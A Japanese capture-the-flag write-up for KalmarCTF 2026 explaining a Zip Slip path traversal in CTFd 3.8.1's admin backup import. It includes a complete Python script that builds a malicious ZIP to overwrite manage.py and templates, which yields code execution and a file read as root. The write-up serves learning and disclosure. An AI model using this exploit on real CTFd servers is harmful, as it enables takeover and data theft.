[WRITEUP-LOG] [2026-03-29] #ctf

KalmarCTF 2026 RootBabyKalmarCTF Writeup — Zip Slip (CVE-2026-30345) で CTFd root 奪取

Target
CTFd 3.8.1
Severity
Critical
Vulnerability
Path Traversal (Zip Slip)
BY ICHIBURN Est. 2 MIN READ

概要

KalmarCTF 2026 の Web 問題「RootBabyKalmarCTF」(170pts)。
CTFd 3.8.1 のインスタンスが与えられ、admin 認証情報で管理パネルにアクセスできる。
目標は admin ではなく root 権限でファイル /flag2-<random>.txt を読むこと。

脆弱性

CVE-2026-30345: CTFd 3.8.1 Zip Slip (Path Traversal)

/admin/import のバックアップインポート機能で、ZIP ファイル内のエントリ名に .. が含まれるかチェックしている。
しかし uploads//absolute/path 形式(ダブルスラッシュ)でバイパス可能。

チェックのコード

for f in members:
    if f.startswith("/") or ".." in f:
        raise zipfile.BadZipfile

バイパス

エントリ名: uploads//opt/CTFd/manage.py

  • startswith("/") → False(uploads/ で始まる)
  • ".." in f → False(.. を含まない)
  • ファイル処理: f.split("/", 1)[1]/opt/CTFd/manage.py(絶対パス)
  • os.path.join("/var/CTFd/uploads", "/opt/CTFd/manage.py")/opt/CTFd/manage.py

Python の os.path.join は第2引数が絶対パスの場合、第1引数を無視する。
これが Zip Slip バイパスの核心。

攻略手順

Step 1: エクスポートの取得

admin でログインし、/admin/export から正規のバックアップ ZIP を取得。
DB 構造(db/ ディレクトリ)がインポートに必要。

Step 2: 悪意ある ZIP 作成

3つのファイルを Zip Slip で配置する。

  1. manage.pybackground_import_ctfsubprocess.Popen で別プロセスとして実行するファイル。フラグを読んでテンプレートディレクトリに書き込むコードを仕込む。
  2. notifications.html — Jinja2 テンプレート。{% include "flag_data.html" %} でフラグファイルを読み込む。
  3. flag_data.html — プレースホルダ。manage.py がフラグ内容で上書きする。
import zipfile, os

EXPORT_DIR = '/tmp/ctfd-export'
OUTPUT = '/tmp/exploit.zip'

manage_py = '''#!/usr/bin/env python3
import os, glob
flag = ''
for f in glob.glob('/flag2-*.txt'):
    with open(f) as fh: flag += fh.read()
if not flag: flag = 'NO_FLAG: ' + str(os.listdir('/'))
for path in ['/opt/CTFd/CTFd/themes/core/static/img/f.txt',
             '/opt/CTFd/CTFd/themes/core/templates/flag_data.html']:
    try:
        os.makedirs(os.path.dirname(path), exist_ok=True)
        with open(path, 'w') as fh: fh.write(flag)
    except: pass
from flask.cli import FlaskGroup
from CTFd import create_app
app = create_app()
cli = FlaskGroup(app)
cli()
'''

# Jinja2 テンプレート: flag_data.html をインクルードしてフラグを表示
# MARKER={{ 7*7 }} はテンプレートエンジンの動作確認用(49が表示されれば成功)
ssti_include = '{% include "flag_data.html" ignore missing %}MARKER={{ 7*7 }}'

with zipfile.ZipFile(OUTPUT, 'w') as zf:
    # DB files (required for valid import)
    for root, dirs, files in os.walk(os.path.join(EXPORT_DIR, 'db')):
        for fname in files:
            fpath = os.path.join(root, fname)
            zf.write(fpath, os.path.relpath(fpath, EXPORT_DIR))

    # Zip Slip payloads
    zf.writestr('uploads//opt/CTFd/manage.py', manage_py)
    zf.writestr('uploads//opt/CTFd/CTFd/themes/core/templates/notifications.html',
                ssti_include)
    zf.writestr('uploads//opt/CTFd/CTFd/themes/core/templates/flag_data.html',
                'PLACEHOLDER')

Step 3: 1回目のインポート

/admin/import に ZIP をアップロード。
これにより manage.py とテンプレートファイルが上書きされる。

Step 4: 2回目のインポート

なぜ2回必要か? 1回目のインポートで manage.py を上書きし、2回目のインポートで CTFd が background_import_ctfsubprocess.Popen上書き済みの manage.py を新プロセスとして実行する。つまり1回目は「武器の配置」、2回目が「発射」。

manage.py が:

  1. /flag2-*.txt を glob で検索
  2. フラグ内容を flag_data.html に書き込み(テンプレート経由で表示用)
  3. フラグ内容を static/img/f.txt にも書き込み(直接アクセスのバックアップ)
  4. 元の import 処理を実行

Step 5: フラグ取得

/notifications にアクセス。
テンプレートが {% include "flag_data.html" %} でフラグを表示。

フラグ

kalmar{RootBabyKalmarCTF-wow_you_are_really_up_to_no_good_you_naughty_root_wizard_10d78345f5b9e992}

失敗した攻撃(学び)

試行結果学び
プラグインアップロード/admin/plugins が 404環境ごとに機能が無効化されてることがある
SSTI via Pages APIテンプレート未評価CTFd はページコンテンツを Jinja2 として処理しない
Jinja2 Sandbox bypass__globals__ ブロックCTFd は SandboxedEnvironment を使用。attr(), 文字列連結, lipsum 全て失敗
sandbox.py 上書き上書き成功だが反映されずPython の sys.modules キャッシュがモジュール再読み込みを阻害
テンプレートキャッシュ問題上書き後も古い内容Jinja2 LRU キャッシュ。未キャッシュのテンプレートを狙う
sitecustomize.py, .pth書き込み成功だが実行されずプロセス再起動なしでは Python 起動時フックは効かない

キーインサイト

  1. os.path.join の挙動: 第2引数が絶対パスなら第1引数を無視する — Zip Slip バイパスの核心
  2. background_import_ctf は新プロセスを起動: manage.py を上書きすれば次のインポートで任意コード実行
  3. Jinja2 テンプレートキャッシュ: 未アクセスのテンプレートを狙う(LRU キャッシュ回避)
  4. docker-compose.ymluser: root: CTFd プロセスが root で動くため任意ファイルの読み書きが可能